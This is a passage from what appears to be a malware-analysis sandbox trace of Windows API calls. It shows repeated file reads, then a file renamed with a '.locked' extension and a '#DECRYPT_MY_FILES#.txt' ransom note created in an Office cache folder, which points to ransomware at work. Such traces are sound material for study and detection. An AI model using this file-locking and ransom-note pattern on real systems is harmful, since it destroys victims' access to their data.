lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x226, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x21e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x216, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x20e, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x206, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1fe, lpOverlapped=0x0) returned 1 [0031.924] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1f6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ee, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1de, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ce, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1c6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1be, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1b6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1ae, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a6, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x19e, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x196, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x18e, lpOverlapped=0x0) returned 1 [0031.925] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x186, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x17e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x176, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x16e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x166, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x15e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x156, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x14e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x146, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x13e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x136, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x12e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x126, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x11e, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x116, lpOverlapped=0x0) returned 1 [0031.926] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x10e, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x106, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xfe, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xf6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xee, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xe6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xde, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xd6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xce, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xc6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xbe, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xb6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xae, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xa6, lpOverlapped=0x0) returned 1 [0031.927] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x9e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x96, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x86, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x76, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x66, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x56, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x46, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x36, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e, lpOverlapped=0x0) returned 1 [0031.928] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x26, lpOverlapped=0x0) returned 1 [0031.929] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e, lpOverlapped=0x0) returned 1 [0031.929] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x16, lpOverlapped=0x0) returned 1 [0031.929] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0xe, lpOverlapped=0x0) returned 1 [0031.929] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6, lpOverlapped=0x0) returned 1 [0031.929] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x0, lpOverlapped=0x0) returned 1 [0031.929] AreFileApisANSI () returned 1 [0031.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.929] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0031.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0031.929] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.930] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0031.930] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0031.930] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.930] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.930] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.931] AreFileApisANSI () returned 1 [0031.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.931] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.931] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.934] GetFileType (hFile=0x120) returned 0x1 [0031.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.935] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb605a0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb605a0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.935] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb605a0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb605a0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.935] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb605a0e0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb605a0e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb605a0e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) 